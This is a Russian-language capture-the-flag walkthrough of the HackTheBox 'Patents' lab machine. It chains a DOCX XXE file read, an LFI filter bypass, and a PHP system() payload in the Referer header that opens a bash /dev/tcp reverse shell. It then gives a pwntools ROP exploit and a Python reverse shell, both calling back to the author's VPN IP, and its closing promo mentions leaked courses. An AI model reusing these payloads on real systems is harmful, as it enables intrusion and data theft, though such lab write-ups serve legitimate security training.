![image](https://habrastorage.org/webt/mc/3s/xg/mc3sxg5brnrlwn3qmajb37t8bhk.png)
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье эксплуатируем XXE в сервисе преобразования DOCX документов в PDF, получаем RCE через LFI, копаемся в истории GIT и восстанавливаем файлы, составляем ROP цепочки с помощью pwntools и находим спрятанный файл рута.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.173, который я добавляю в /etc/hosts.
10.10.10.173 patents.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500
![image](https://habrastorage.org/webt/7v/ex/jr/7vexjrz3cmdge_csif-0ruxstxy.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A patents.htb -p22,80,8888
![image](https://habrastorage.org/webt/nk/d8/jm/nkd8jml8rg_aau8otsuwznq-ab0.png)
На хосте работают службы SSH и веб сервер Apache, при этом порт 8888 отведен для непонятной службы. Посмотрим веб.
![image](https://habrastorage.org/webt/q4/ba/lv/q4balvxmcp7ac3m0qqge2qtwhcm.png)
На сайте имеется форма загрузки DOCX документов.
![image](https://habrastorage.org/webt/m4/xk/if/m4xkiftz0h6oxfikutspnmyijdy.png)
XXE DOCX
По утверждению, наш документ будет преобразован в PDF формат. Это наталкивает на мысль о XXE. Я взял пример отсюда.
![image](https://habrastorage.org/webt/eg/mo/fo/egmofoq1l5r8ohdmorvwf83gsfe.png)
Таким образом, в данном примере хост попытается загрузить xml документ с удаленного сервера. Загрузив этот документ, он прочитает локальный файл указанный в загруженном xml документе, закодирует его в base64 и обратится еще раз на наш сервер, передав закодированный файл в качестве параметра запроса. То есть, декодировав этот параметр мы получим файл с удаленной машины.
Но данную нагрузку следует размещать не по пути word/document.xml. Так как для работы с таким типом документов используется SDK OpenXML, то, как следует отсюда и отсюда, программное обеспечение на стороне сервера будет искать данные в word/document.xml, а в customXML/item1.xml. Поэтому нагрузку стоит размещать именно там.
Давайте создадим docx документ и разархивируем его как zip архив. После чего создадим директорию customXML и создадим в ней файл item1.xml. В него мы запишем код с изображения выше, изменив IP адрес на свой. И архивируем документ обратно.
![image](https://habrastorage.org/webt/s0/j_/gw/s0j_gwgd0ehur9mboxtcwz8eudg.png)
Теперь запустим локальный веб сервер.
python3 -m http.server 80
И в текущей директории создаем второй xml файл, указав в качестве желаемого файла /etc/passwd.
![image](https://habrastorage.org/webt/6y/5s/l7/6y5sl7j1lcilayxrtbebn9z78tw.png)
И загружаем документ на сервер. В окне с запущенным веб сервером увидим обратное подключение.
![image](https://habrastorage.org/webt/fj/za/to/fjzatoxzmrvwpkccdyekqyig_ju.png)
Декодируем base64 и получаем файл, который запросили.
![image](https://habrastorage.org/webt/ef/wy/ty/efwytya0_ldxuvv1qd9qjphrib0.png)
Таким образом мы можем читать файлы на сервере. Давайте прочитаем файлы конфигурации Apache. Для этого изменить dtd.xml и повторим загрузку документа.
![image](https://habrastorage.org/webt/um/0q/xq/um0qxqy-zxbvhbbe-dgz2_05msy.png)
![image](https://habrastorage.org/webt/-x/nf/zh/-xnfzhmk9bbhd8fjx5eko5vbaeg.png)
Так мы узнаем директорию, в которой расположен сайт. Давайте попытаем прочитать файл конфигурации.
![image](https://habrastorage.org/webt/_b/dd/-v/_bdd-vrylmvfa98iklgx3lnykzi.png)
![image](https://habrastorage.org/webt/pq/5l/ht/pq5lhtyyzajjcijlbaa0hubw5j4.png)
И в комментарии сказано, что файл был переименован из-за уязвимости. Мы конечно обратимся к нему patents.htb/getPatent_alphav1.0.php.
![image](https://habrastorage.org/webt/hq/wd/hj/hqwdhjf6zhjdaehc2zn6ic5p3hu.png)
Обратившись к данной страницы и передав в качестве параметра id путь ../../../../../etc/passwd, из нашей строки будут удалены все вхождения “../”. Давайте каждую строку “../” заменим на “..././”, так при удалении последовательности, все равно останется “../”.
![image](https://habrastorage.org/webt/fr/a3/pu/fra3pugykwho9xrl9xcklono1zg.png)
И мы находим LFI.
Entry Point
Давайте попробуем получить из этого RCE. Скажу честно — это было сложно. Дело в том, что отправляя подобный документ, мы не получали предложение загрузить PDF. То есть был задействован дескриптор 2 (для вывода диагностических и отладочных сообщений в текстовом виде). А к нему мы можем обратиться. Давайте закодируем реверс шелл в base64:
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn
Мы будем декодировать его и передавать в функцию system в php. Давайте передадим код в качестве заголовка HTTP при загрузке файла.
curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'
Запустим netcat.
nc -lvp 4321
И теперь обратимся ко второму дескриптору.
curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2
Получаем бэкконнект.
ROOT 1
Загрузим скрипт перечисления системы linpeas и внимательно проанализируем вывод. Так мы работаем в докер контейнере.
![image](https://habrastorage.org/webt/sa/hf/xz/sahfxzrubyathg6rglkqhwf0cvo.png)
Еще находим хеши. Но взломав, ни к чему не приходим.
![image](https://habrastorage.org/webt/bf/cc/dy/bfccdyitk-1ksi7qmg5omq_lesw.png)
![image](https://habrastorage.org/webt/dv/ss/up/dvssupnunggkpzz64gsfdxjveuw.png)
Поэтому запускаем pspy64 чтобы отследить запускаемые процессы. И находим запуск процесса от имени root, при котором пароль передается как переменная окружения.
![image](https://habrastorage.org/webt/wi/2_/yz/wi2_yzfeqgi3eehjxylmqf7k8vm.png)
И локально сменим пользователя, указав данный пароль.
![image](https://habrastorage.org/webt/iu/bi/yu/iubiyu543de3olgssz1ry-djuf4.png)
ROOT 2
Давайте посмотрим, что делает данный скрипт.
![image](https://habrastorage.org/webt/ck/vk/h-/ckvkh-wezr0ofumiqzzqakn5wog.png)
![image](https://habrastorage.org/webt/rg/tf/rs/rgtfrsor5irhivfoifw-jr6c008.png)
Получаем наводку на какой-то lfmserver, а также сохраняем логин и пароль. Поищем в системе все, что связано с lfm.
![image](https://habrastorage.org/webt/af/hz/ea/afhzea8jusqqac6irjgch6kyvjy.png)
И находим в данной директории git репозиторий.
![image](https://habrastorage.org/webt/ln/h4/op/lnh4opchyrjvoc88mmg8kiwe7_y.png)
Давайте поработаем с данным репозиторием.
![image](https://habrastorage.org/webt/gq/by/ge/gqbygeqd2j4xoshvorswvluxkno.png)
Посмотрим историю изменений.
![image](https://habrastorage.org/webt/t7/ro/rj/t7rorjk0v42cfsjtphjd9uc1fs0.png)
Посмотрим историю изменений. Так видим что в предпоследнем коммите были добавлены исполняемый файл и описание, а в последнем — они уже удалены. Давайте откатимся до удаления файлов.
git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5
И у нас в директории появились исполняемый файл и описание.
![image](https://habrastorage.org/webt/ga/wc/4s/gawc4s_vovqdv6zz91jdrdbicfk.png)
![image](https://habrastorage.org/webt/y5/ns/gi/y5nsgibu66e8a0_g_34mde9b2ao.png)
Тут я уже хотел приступить к реверсу файла, но — у нас есть git проекта! Я нашел коммит, где упоминались исходные коды.
![image](https://habrastorage.org/webt/7m/xr/ki/7mxrkibt8ixidkd4tir6ksasywk.png)
И давайте восстановим файлы.
git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123
После чего скачиваем интересующие исходные коды, саму программу и библиотеки на локальную машину.
ROP
Нам нужно попытаться найти и эксплуатировать уязвимость в программе, в помощь есть исходные коды. Проверим защиту в бинарном файле.
![image](https://habrastorage.org/webt/pq/fj/bd/pqfjbdyozi1qaxhxeauf1_hfcca.png)
То есть канарейка и PIE отсутствуют, но стек не исполняемый. Откроем бинарный файл в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro 7.2 ) и сопоставим декомпилированный код с исходными кодами из репозитория.
![image](https://habrastorage.org/webt/tz/rc/ue/tzrcued2khgzxq9jmhziq7vsfl4.png)
Для подключения к серверу и используем данные из файла checker.py, а также учетные данные.
![image](https://habrastorage.org/webt/xh/7b/aa/xh7baayunbtjue28qyfleddzqxc.png)
![image](https://habrastorage.org/webt/-r/rp/mo/-rrpmoh0l0-hginwoubihqb3a_g.png)
Давайте напишем шаблон эксплоита.
#!/usr/bin/python3
from pwn import *
context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"
Давайте теперь определимся с запросом. Запустим приложение.
![image](https://habrastorage.org/webt/wx/xj/iu/wxxjiuq1vfqmwzgrshyjzlmzzou.png)
Необходимо отправлять путь к файлу и хеш его содержимого. Для примера я взял /etc/hosts.
![image](https://habrastorage.org/webt/p0/3k/ek/p03kekiuesrd9mc2at4t_swcce0.png)
Добавим к шаблону следующий код.
INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)
r = remote(HOST, PORT)
r.sendline(send_.encode())
r.interactive()
Теперь выполним и получим ошибку 404.
![image](https://habrastorage.org/webt/ej/nd/b6/ejndb6z2tpkgvajgiq3akvwsbjg.png)
Посмотрим log файл.
![image](https://habrastorage.org/webt/qy/d6/gf/qyd6gftg9f6m3ce87f9acdpsodc.png)
Понятно где приложение ищет файл, давайте поиграем с путями, и укажем такой file.
file = "../../../../../etc/hosts"
Выполним код и не увидим никаких ошибок.
![image](https://habrastorage.org/webt/px/sp/o-/pxspo-1bkqx14dpydxmj11odvyo.png)
![image](https://habrastorage.org/webt/id/8x/7z/id8x7zspwbcbv1u9qmx-ccjhiis.png)
Но в случае urlencode, получаем ответ с кодом 200 от сервера!
file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"
![image](https://habrastorage.org/webt/uh/pt/s6/uhpts6ydsvnhutaadndkfzt_ejy.png)
Отлично, давайте вернем к дизассемблеру. Найдем среди строк (Shift+F12) удачный ответ сервера. И посмотрим, где к ней происходит обращение (X).
![image](https://habrastorage.org/webt/ck/ef/so/ckefsoopnkpezgsq6cdlguv7jh8.png)
И переходим к первой функции, где в самом начале происходит проверка учетных данных.
![image](https://habrastorage.org/webt/8v/6y/jg/8v6yjgpj94ih9fln0dmhbl3_zas.png)
Давайте переимеенуем строки-переменные в окне дизассемблера, чтобы в декомпиляторе было понятнее.
![image](https://habrastorage.org/webt/dz/ut/vx/dzutvxrxvyv4tdq_zgldkiv9xqw.png)
И разбирая код в строках 18-24, пониманием следующее: часть пользовательского ввода попадает в функцию sub_402DB9, где происходит преобразование строки в переменную name, которая потом попадает в функцию access, и в случае отрицательного результат, происходит вывод сообщения 404. Таким образом, в переменной name будет расположен путь к файлу. Так как запрос обрабатывался даже в кодировке urlencode, то данная функция скорее всего нужна для декодирования.
![image](https://habrastorage.org/webt/mo/eb/wj/moebwjpolutcowo7qxeyi15dj-k.png)
Но дело в том, что переменная name, куда происходит перенос данный, ограниченного размера.
![image](https://habrastorage.org/webt/u_/jz/ht/u_jzhtdqgp1vgp3qyuguunuxl_i.png)
Таким образом, для переполнения буфера нам необходимо передать 0xA0=160 байт. Давайте допишем в код функцию дополнения до 160 байт и кодирования пути к файлу. Так как от содержимого файла вычисляется хеш, то необходимо не нарушать целостность пути к файлу, то есть после основного пути добавить 0x00 байт.
Но дело в том, что нам нужно знать хеш от какого-либо файла на сервере, который будет доступен всегда и никогда не изменится. К примеру /proc/sys/kernel/randomize_va_space, а как мы помним из вывода linPEAS, ASLR активирован, то есть мы знаем хеш.
![image](https://habrastorage.org/webt/tz/dk/j_/tzdkj_hdn9owhtmod5ekklqior4.png)
Тогда изменим код.
#!/usr/bin/python3
from pwn import *
def append_and_encode(file, rop=b""):
ret = b""
path = (file + b"\x00").ljust(160, b"A") + rop
for i in path:
ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
return ret
context(os="linux", arch="amd64", log_level="error")
HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()
Это успешно работает!
![image](https://habrastorage.org/webt/k9/4f/5v/k94f5vkgarkqukz9vhjiprkt1yo.png)
Теперь давайте используем утечку памяти и определим адрес, по которому загружена библиотека libc. Для этого мы получим адрес функции write в загруженной библиотеке libc.
binary = ELF("./lfmserver")
libc = ELF("./libc6.so")
rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
![image](https://habrastorage.org/webt/f0/5h/nl/f05hnlmsa7slih0sdwajq5kathy.png)
Теперь выделим адрес функции dup2 (первые 8 байт). Вычтем из него адрес функции dup2 в не загруженной библиотеке. Так мы найдем базовый адрес libc.
print(f"[*] Payload sent")
recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")
![image](https://habrastorage.org/webt/xf/t0/x3/xft0x3qwddfzdrfclwkj578gzpk.png)
Теперь найдем адрес строки /bin/sh.
shell_address = next(libc.search(b"/bin/sh\x00"))
Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (возьмем 6). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.
rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
context.log_level='info'
r.recv()
r.sendline(b"id")
![image](https://habrastorage.org/webt/4a/fy/cq/4afycq7-ht7dkktpmeddwci4tqa.png)
Отлично! Получаем шелл от рута. Но вот он быстро умирает. Запустим листенер (nc -lvp 8765) и кинем бэкконнект шелл.
r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')
![image](https://habrastorage.org/webt/vj/nh/ci/vjnhcisc1ra9vng8htw8n_2phwi.png)
![image](https://habrastorage.org/webt/tj/ff/ll/tjfflloqumm5mggkbrwlx2ofc6w.png)
И мы имеем стабильный шелл. Полный код привожу картинкой ниже.
![image](https://habrastorage.org/webt/ow/ek/pi/owekpiviv3pqxnxr-rpeqgzv6-a.png)
Но вот прочитать флаг рута не можем…
![image](https://habrastorage.org/webt/wu/0u/mg/wu0umgzshoqcoq65eolwojhv8fy.png)
ROOT 3
Запустив linpeas и просмотрев вывод, находим интересные разделы, особенно /dev/sda2.
![image](https://habrastorage.org/webt/wu/0u/mg/wu0umgzshoqcoq65eolwojhv8fy.png)
Давайте получим информацию о всех блочных устройствах.
![image](https://habrastorage.org/webt/ld/ox/-v/ldox-vzassozbyooscg-issuoow.png)
Таким образом мы имеем корневой раздел /dev/sda2. Создадим директорию и монтируем раздел.
![image](https://habrastorage.org/webt/u4/ez/c5/u4ezc5zbakdqx11phjzr1cqp-yi.png)
Вот и находим флаг рута.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.